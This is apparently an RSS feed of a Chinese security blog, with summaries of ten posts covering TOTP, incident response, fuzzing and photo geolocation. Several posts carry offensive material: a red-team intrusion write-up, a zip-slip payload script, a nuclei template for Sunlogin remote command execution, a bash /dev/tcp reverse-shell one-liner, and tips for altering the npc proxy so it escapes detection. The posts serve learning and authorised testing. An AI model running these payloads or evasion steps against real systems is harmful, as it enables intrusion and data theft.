玉明-风起于青萍之末 - 常山
type: channel
link: https://www.xdym11235.com/category/code/
description: 风起于青萍之末
items: 时间带来的安全
items: 常见网络安全事件通报类型与应急处置
items: FUZZ in work
items: 某市一些单位从互联网到内网
items: ZIP slip vulnerability
items: How to use nuclei to rce with any command
items: 某高校从互联网到内网
items: The commands of reverse shell
items: 图片找地址_1
items: 改造NPC

时间带来的安全
type: item
date: 2026-07-02T21:39:45+08:00
description: 时间带来的安全TOTP原理解析高中的时候，我缠着我父亲要去办银行卡，当时为了网购开了网上银行，银行给了我一个U盾，每次从网上转账的时候，都要按一下U盾，U盾上显示一串数字，我把数字输到银行的网站里就能把钱转走，当时觉得这个操作很神奇。后来上了大学玩游戏发现很多游戏厂商都要强制人绑定一个与银行U盾功能差不多的验证码，后来我知道这叫2FA(Two Factor Authentication)，也知道了这种U盾被叫做OTP(one-time password)，昨天在用TOTP(Time-Based One-Time Password)的时候突然想到我竟然没有研究过TOTP是如何保证安全性的，于是写下本文，以窥探“时间带来的安全”。本文主要简单回顾一下2FA、OTP的演化，以及HOTP(HMAC-Based One-Time Password)、TOTP的实现。验证两种不同的凭证就能增强安全性？想必大家都经历过使用密码登录APP后，APP还要进行短信验证，甚至还要在一堆图片中挑出红绿灯、自行车等，你可能会想：我都输对了密码，为什么还要这么折磨我？后来我才知道这种多次验证身份的操作叫双因素验证，即2FA。2FA除了验证用户设置的密码之外，还会验证用户“拥有的东西”，比如：手机、U盾、指纹、面容等。攻击者通过其他渠道获取了你的用户名、密码，如果没有启用2FA验证，那么攻击者就可以直接使用偷取的用户名密码登录你的账户；如果你启用了2FA验证，那么攻击者就需要去验证你“拥有的东西”，而这些东西都是你贴身，甚至你独一无二的东西，攻击者无法通过远程的方式窃取。2FA的核心就是为一道门增加一种不同的锁，把门锁增加成两个不同类型。而且这两个锁不是简单的1+1=2，因为同时解锁两个不同类型锁的难度远大于一个锁。想象一下，你家的防盗门：密码就是钥匙，2FA就像防盗门的锁外加了一把密码锁，虽然小偷能撬开防盗门的锁，但是却不知道密码，不能打开密码锁，密码锁的密码被你放在银行的保险柜里，小偷是无论如何都不可能去银行里偷这个密码锁的密码的。常见2FA组合有：密码+短信验证：这是国内目前最普及的的2FA密码+TOTP：国际上比较流行的2FA密码+安全密钥：最安全，但是安全密钥需要额外购买密码+APP推送确认：推送确认依赖网络综合下来，TOTP算是安全性、便捷性比较有性价比的2FA手段了。HOTP要想了解TOTP的话，就应该先了解一下TOTP的前身HOTP。HOTP全称是基于HMAC的一次性密码(HMAC-based One-time Password)，是一种基于散列消息验证码的一次性密码算法，在2005年由IETF发布在RFC 4226标准文档中。HOTP的核心思想，其实可以用一句话概括：服务器和你的令牌，各自悄悄藏着一模一样的两样东西——一把“秘密钥匙”和一个“计数器”。 它们用同一套固定的算法去搅拌这俩东西，因为输入相同、算法相同，算出来的数字必然相同；而攻击者没有那把钥匙，就永远算不出来。这里有个关键角色叫 HMAC。要理解它，得先认识 SHA-1——一台“搅拌机”。你往里扔任何东西，它都吐出固定 20 字节的“乱码”，同样的输入永远得到同样的输出，但你没法从输出反推出输入（这叫单向性）。而 HMAC 给这台搅拌机配了一把钥匙，让它变成“认钥匙的搅拌机”：没有这把钥匙，盖不出相同的印章；换了钥匙，盖出来的印章完全不一样。一句话记——HMAC(钥匙, 消息) 就是一台认钥匙的搅拌机。有了 HMAC，HOTP 的算法就只剩三步：搅拌：把秘密钥匙 K 和计数器 C 一起丢进 HMAC-SHA-1，得到 20 字节的乱码。截取：20 字节太长，得砍成 4 字节。巧妙的地方在于——让这 20 字节自己告诉你从哪砍：看最后一个字节的低 4 位，得到一个位置（0~15），从那位置开始连取 4 字节。取模：把这 4 字节当成一个大数字，对 100 万取余，就得到一个 6 位数，前面补 0，就是你看到的那串动态密码。为什么要“让数据自己说从哪取”，而不是固定取前 4 字节？因为这样每次取的位置会随机落在 20 字节里的不同地方，避免不同密码之间出现规律性的关联。这就是 RFC 里所说的“动态截断”（Dynamic Truncation）。举个真实的例子（RFC 里的标准数据）。假设 HMAC 算出来的 20 字节长这样：位置: 00 01 02 ... 10 11 12 13 ... 19 数值: 1f 86 98 ... 50 ef 7f 19 ... 5a最后一个字节是 5a，它的低 4 位是 a（十进制 10），所以从第 10 个位置开始取；取出来是 50 ef 7f 19，当成数字是 1,357,872,921；对 1,000,000 取余 = 872921。这就…

常见网络安全事件通报类型与应急处置
type: item
date: 2026-03-13T16:44:20+08:00
description: 常见网络安全事件通报类型与应急处置常见的网络安全事件通报类型在日常网络安全运营中，信息安全事件频发，已成为各类组织不可回避的风险。为强化风险警示与行业协同，监管机构会对辖区内发生的安全事件进行识别、定级与通报。常见的通报类型包括勒索病毒、挖矿病毒、银狐木马、⽹⻚内嵌恶意代码、两⾼⼀弱等，这些事件多属于有害程序事件（MI） 与网络攻击事件（NAI） 的范畴，其通报不仅推动涉事单位及时处置，也为全行业提供了关键的风险态势与防御参考。勒索病毒特征勒索病毒（Ransomware）是一种恶意软件，它通过加密用户设备上的文件或锁定系统屏幕来阻止用户正常访问自己的数据或设备，然后向受害者勒索赎金（通常要求以比特币等加密货币支付），并承诺在收到赎金后提供解密密钥或恢复访问权限。这类病毒通常通过钓鱼邮件、恶意附件、漏洞攻击或伪装成正常软件的安装包进行传播，对个人、企业甚至公共机构造成严重危害，包括数据丢失、财务损失、业务中断等。我们以baxia勒索病毒为例进行简单分析 baxia勒索病毒是BeijngCrypt勒索病毒家族的变种，通常通过各类数据库的弱口令进行入侵感染，黑客获取数据库弱口令后通过数据库命令下载、执行勒索病毒，baxia病毒一旦运行，就开始针对各类文档、程序(doc、docx、xlsx、xls、pdf、mdf、jpg、png、exe等格式)进行加密操作，并在加密文件夹下创建名为!_INFO.txt的勒索信件。同时baxia勒索病毒会针对内网中其他主机的445、3389端口发起攻击，继续扩大勒索范围。处置方法勒索病毒的处置方法主要以前期巡检、备份为主，大部分的勒索病毒使用AES+RSA加密，如果没有解密密钥，几乎无法使用常规手段解密，所以勒索病毒的处置基本上是删除相关的恶意软件、检查主机薄弱点并修复、部署相应的终端防护设备。对于已经感染勒索病毒的主机，首先要立刻切断主机的网络，防止主机攻击其他内网机器感染更多的设备，同时也阻止主机上传解密密钥到黑客的服务器。Windows操作系统的主机可以使用命令netsh interface set interface "以太网" disable、Linux操作系统使用sudo ip link set eth0 down或者直接拔掉主机网线来禁用主机网络。接下来需要识别勒索病毒的类型，我们可以通过观察已经被加密的文件后缀识别勒索软件的类型，以前图为例，勒索软件加密文件后后缀为baxia，则该勒索软件为baxia。我们可以访问360勒索病毒解密或者奇安信勒索病毒搜索这两个网站，查找可能可以解密的勒索病毒后缀，部分勒索病毒可能可以解密。如果不能解密，那就祈祷这台主机启用了备份功能，可以恢复到勒索前的状态吧。紧接着就是立即关闭勒索软件，Windows主机通过tasklist /v检查异常进程、netstat -ano检查异常的网络连接，Linux主机可以使用ps auxf、top -b -n 1检查异常进程、netstat -tulpn和ss -tulpn检查异常的网络连接。一般情况下，在加密还未结束时，勒索病毒的加密操作会大量占用CPU资源，所以可以使用KILL命令关闭CPU资源占用较高的进程。Windows操作系统还需要检查任务计划程序、注册表、启动文件夹、Windows服务、DLL劫持与侧加载等等。常见的注册表自启动键：# 标准自启动键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce # 扩展自启动位置 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit # 登录相关键 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVers…

FUZZ in work
type: item
date: 2024-01-19T14:53:48+08:00
description: FUZZ in workYesterday, I used FUZZ for the first time in my work. It's so cool, I have decided to write a blog about it.What is FUZZ?Fuzz or fuzzing is a technique used in computer programming and software testing. It involves providing invalid, unexpected, or random data as input to a program or system in order to identify vulnerabilities, bugs, or abnormal behavior.FUZZ in workYesterday, while testing a system, I discovered many paths using a browser plugin that called FindSomething. So I use these paths to test the system by yakit, and select the paths with 200 of status code. Among these paths, I discovered a registration API that returns some error codes. So I use FUZZ to test this API.Based on testing experience, APIs like this one are usually accessed using POST requests. Therefore, I started fuzzing the parameters using POST.I guess the registration API is the same as login API format. The fuzz dict is from https://github.com/TheKingOfDuck/fuzzDicts.However, after fuzzing, I couldn't find the first parameter.The GET requests maybe tested.I'm happy when I find a response packet that is different from the others after using GET to test this API. Following the same approach, I got a complete request packet. This is my first fuzzing result.It's so cool.

某市一些单位从互联网到内网
type: item
date: 2023-12-23T21:20:00+08:00
description: 某市一些单位从互联网到内网赶在2023年的尾巴，我参加某市的一次HW。首先必须强调下面所有的行为都是经过授权的。因为这次内网没怎么打，好像没什么收获，那就把打到内网的所有目标大概写一下，不会非常详细。某卫星中心通过资产收集发现该单位某服务平台，该服务平台的同IP下的某IP存在Springboot，存在CVE-2022-22947，通过工具写内存马直接Shell。 因为是Linux服务器，没啥上线的必要，反弹个shell直接进内网开扫扫完发现内网其实没什么东西，先用默认密码登录了4个Nacos，里面没有配置文件，然后有一个Nacos密码改了，用Nacos未授权漏洞看了一下，发现里面有一个去年HW留下来的账号，但是不知道密码，于是我也用未授权添加了一个账号 还扫出来了很多SSH弱口令，但是登录发现全是网络设备，不太会利用 然后还有非常非常多的postgresql数据库的弱口令，这也是该单位的重大战果，在数据库中发现敏感地理数据超过500W条（无图） 还有一些其他的Web弱口令啊、Redis未授权啊、MySQL弱口令、etcd未授权，虽然在里面都发现了一些可以进一步扩大攻击面的东西，但是我始终没有将内网的一些数据和系统对应上，再加上打内网时间非常短，也没仔细打。某交通支付公司该漏洞是同事打的，我大概看了一下原理通过资产收集发现该公司互联网存在一台Vcenter存在任意文件读取，下载data.mdb文件，通过读取该文件伪造了一个登录Cookie，然后进入到了Vcenter后台，获取了10台服务器权限，本来打算把快照下载下来然后重置密码试试进到虚拟机内，但是因为网速问题放弃了。 某大型游乐园历史shell直通内网 某小学刚爆出来没几天的Nday，没想到直接就用上了，直接一个上传WebShell，然后上线，发现是Windows2008，抓密码、建隧道、进入远程桌面 翻了一下浏览器的记录，发现两个存在弱口令的网站，运维也没有在上面存其他密码 直接开扫，但是发现内网并不大，除了这台服务器，剩下的全是海康威视的摄像头，可以未授权获查看镜头截图以及获取登录密码，我大概瞅了几个，能看到很多学生。 某生物科技公司通过资产收集发现该公司的金蝶云可以RCE，打入内存马并上线，因为是network权限，用土豆系列提权 发现是双网卡机器，直接开扫。在金蝶服务器桌面发现一TXT文档记录了该服务器的RDP登录密码、数据库密码、两个子公司的金蝶云平台登录密码，那就RDP进去看看呗 这个内网东西也不是很多，扫到了很多Shiro，但是找不到默认Key，还发现内网有一个非常旧的ASP站，我估计大概率有SQL注入，就挂着代理用Yakit扫了一下，果真找到一个UA注入点，好像能执行命令，但是没回显，盲打了几个payload，也没见成果就放弃了。 有几个MS17-010，打成功了一个，直接进到RDP，这个机器上还有向日葵，也一块收集了，这个人机器上还有传奇这类游戏，挺有意思的 内网还有一个不出网的cve-2019-7238，能执行命令，但是实在是想不到该怎么转发出来了，现在写这个想起了可以新建用户登录啊，还是脑子不够聪明。 两个Redis，在里面发现存了登录数据，但是找不到对应的应用，而且未授权反弹shell也没成功，很可惜 接着就是重大成果，通过弱口令登录了几个MySQL数据库，在里面发现了4k条财务数据，该公司在各个平台（旺店、天猫、抖音、有赞、快手、拼多多等）百万量级的订单数据（包含姓名、地址、手机号等） 然后就是一些打印机啊、FTP、SMB之类的弱口令了，没什么意思，就不展示了。

ZIP slip vulnerability
type: item
date: 2023-12-01T16:37:00+08:00
description: ZIP slip vulnerabilityToday a workmate shared with me a vulnerability that called kingdee-Apusic-deployApp-upload. In this vul, I find request body is a zip file, but it's not successful that I want to modify this zip file in the request body. Finally, I found this vul is called zip-slip.Directory traversalI believe every programmer of cyber security knows about directory traversal vul. This vulnerability allows bypassing the application's access control by inserting ../. We can use ../ to access directories outside of the current directory, and download/read/write file in other directories.Zip slipzip slip is a type of directory traversal vul, We can upload a evil zip file, if the file is extracted, we will write a file into a directory where we intend.How to create a zip file with zip slip? I find codes from zhihuimport zipfile # the name of the zip file to generate zf = zipfile.ZipFile('out.zip', 'w') # the name of the malicious file that will overwrite the origial file (must exist on disk) fname = 'sec_test.txt' #destination path of the file zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')This code creates a zip file named out.zip. And we can upload this zip file to the web which have directory traversal vul, and the zip file is extracted, and a file will be written into a directory.

How to use nuclei to rce with any command
type: item
date: 2023-11-26T14:49:00+08:00
description: How to use nuclei to rce with any commandA few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.some Flags-dresp flag can show all received responses for all templates.-V flag can customize vars in key=value format.nuclei templatethere is a flag(variables) which can be used to customize vars in nuclei template. For example:id: sunlogin_rce info: name: 向日葵RCE author: Xc1Ym severity: critical description: 通过该链接可以执行命令 metadata: max-request: 2 verified: true fofa-query1: body="Verification failure" fofa-query2: app="向日葵-远程控制" tags: rce variables: cmd: "ipconfig" http: - raw: - | GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: {{Hostname}} - | GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1 Host: {{Hostname}} Cookie: CID={{cid}} extractors: - type: json part: body internal: true name: cid json: - '.verify_string' matchers: - type: dsl dsl: - "status_code_1==200" - "contains(body_1, 'verify_string')" - "status_code_2==200" - "contains(body_2, 'Windows IP')" condition: and # digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12…

某高校从互联网到内网
type: item
date: 2023-09-18T21:01:00+08:00
description: 某高校从互联网到内网某次HW目标此处内容需要评论回复后方可阅读

The commands of reverse shell
type: item
date: 2023-04-18T20:00:21+08:00
description: The commands of reverse shellI read an answer about Linux commands on zhihu, which details stdin, stdout, stderr and redirection. When I finished reading, I found that I could not understand the meaning of the Linux command in the reverse shell. So I wirte this article.I introduced the reverse shell before. At that time, I just learned hack, so in that article, I just briefly introduced the shell, but with the further study, I think it's necessary to understand the reverse shell again.we can reverse shell with bash -i >& /dev/tcp/192.168.0.1/8080 0>&1, this commands allowed display on prot 8080 of 192.168.0.1. But why? Maybe this article can solve this problem.Everything is a fileIn the reverse shell, it embodies the concept of everything is a file. /dev/tcp is a special file, through this file, we can send requests to the specified IP/domain and port. When this file is opened(the file isn't real), a socket connection is established. So /dev/tcp/192.168.0.1/8080 means this host has established a socket connection with prot 8080 of 192.168.0.1. Although the connection is established, but why the commands are displayed on screen of 192.168.0.1?Stdin, stdout and stderrstdin, stdout and stderr are all file descriptors. In Linux, stdin is number zero, and stdout is number one, stderr is number two. When we get Linux up, these three file descriptors will be started. we can get stdin throuth the keyborad and see stdout\stderr on the display. Usually stdout and stderr are displayed on the display, but if it's to be output to a file or other device, we need use redirection.RedirectionRedirection is a concept in the Shell. Through redirection, it's to be output to a file or other device. In Shell, < and << are called input redirection. > and >> are called output redirection.Input redirectioncommand 0< file means that we redirect file to command. Of course, we can omit zero. Output redirectioncommand >1 file means that we redirect the output of command to file. Also, this numb…

图片找地址_1
type: item
date: 2023-01-31T21:09:00+08:00
description: 图片找地址_1昨天看到一位认识的网友发了两张她家附近的照片，我告诉她我可以通过照片找到她家的位置，征得同意后我开始了根据图片找地址。首先因为她的IP定位在XX，所以我只需要在XX省里找就可以了。先看一下这两张图 在第一张照片里可以看到远处有一座桥，可以判断在河边，同时这张照片中远处面向阳光的楼是东西方向，可以确定这条河是东西走向。同时这座桥非常具有特点，是一座系杆拱桥。首先在YY找一下，发现一座系杆拱桥，但是是南北走向的河。 接着我们沿着T江在ZZ找到了一座系杆拱桥，同时发现这里的T江是东西走向。 在这座桥的北边有一座很大的建筑，看着很像第一张照片左边的建筑。 这个建筑的旁边刚好有一座楼，楼顶是天线。 在第一张图的右下角有一座建筑，建筑的最上面是蓝色的，中间镶嵌着红色，同事在附近的路上通过百度街景发现了这一建筑，刚好符合第二张图中蓝色建筑旁边是一座玻璃外墙的大楼 通过第二张图发现左边是红色屋顶的建筑，所以我们把具体的位置锁定在红色的框中 刚开始因为两张图中没有操场，所以我和同事一致认为在红框的右半边，但是右半边并没有比较高的楼适合拍照。一筹莫展之际，我和同事发现第二张图右边的白色建筑是一个L型的，刚好和学校对的上，于是我们把具体位置锁定到了学校北边的小区。 根据第二张图近景有两个白色的球状物，发现学校北边刚好有两个白点，且白点的北边刚好是一座高层小区。 我将结果告诉了这位朋友，她肯定了我的结果。

改造NPC
type: item
date: 2022-12-30T17:07:00+08:00
description: 改造NPC在内网渗透中，代理的使用是必不可少的，因为我比较喜欢用npc这个代理工具，所以本次代理改造就以npc为主。本地编译在微步上，npc被标记为恶意软件，而经过本地编译后，微步仅标记为可疑软件，所以本地编译是非常重要的隐藏npc配置在使用npc时，要么使用配置文件，要么使用参数控制，配置文件和参数都会让防守方非常方便的发现攻击方的攻击中转IP，所以隐藏npc的配置是非常必要的在NPC的Github仓库中，我们主要修改cmd/npc/npc.go文件即可。修改23行~42行中的参数即可。var ( serverAddr = flag.String("server", "", "Server addr (ip:port)") configPath = flag.String("config", "", "Configuration file path") verifyKey = flag.String("vkey", "", "Authentication key") logType = flag.String("log", "stdout", "Log output mode（stdout|file）") connType = flag.String("type", "tcp", "Connection type with the server（kcp|tcp）") proxyUrl = flag.String("proxy", "", "proxy socks5 url(eg:socks5://111:222@127.0.0.1:9007)") logLevel = flag.String("log_level", "7", "log level 0~7") registerTime = flag.Int("time", 2, "register time long /h") localPort = flag.Int("local_port", 2000, "p2p local port") password = flag.String("password", "", "p2p password flag") target = flag.String("target", "", "p2p target") localType = flag.String("local_type", "p2p", "p2p target") logPath = flag.String("log_path", "", "npc log path") debug = flag.Bool("debug", true, "npc debug") pprofAddr = flag.String("pprof", "", "PProf debug addr (ip:port)") stunAddr = flag.String("stun_addr", "stun.stunprotocol.org:3478", "stun server address (eg:stun.stunprotocol.org:3478)") ver = flag.Bool("version", false, "show current version") disconnectTime = flag.Int("disconnect_timeout", 60, "not receiving check packet times, until timeout will disconnect the client") )通常情况下，我会修改第一个参数和第三个参数，在serverAddr = flag.String("server", "", "Server addr (ip:port)")中的第二个引号中填入自己的IP和端口即可，如：serverAddr = flag.String("server", "8.8.8.8:8888", "Server addr (ip:port)")修改完成后直接使用go build npc.go编译即可修改静态特征这个不知道有没有用，我自己感觉是有用的，修改67行~72行，随便把内容修改就可以svcConfig := &service.Config{ Name: "Npc", DisplayName: "nps内网穿透客户端", Description: "一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发，支持内网http代理、内网socks5代理，同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理，集成多用户模式。", Option: options, }远程加载配置文件先说一个思路，…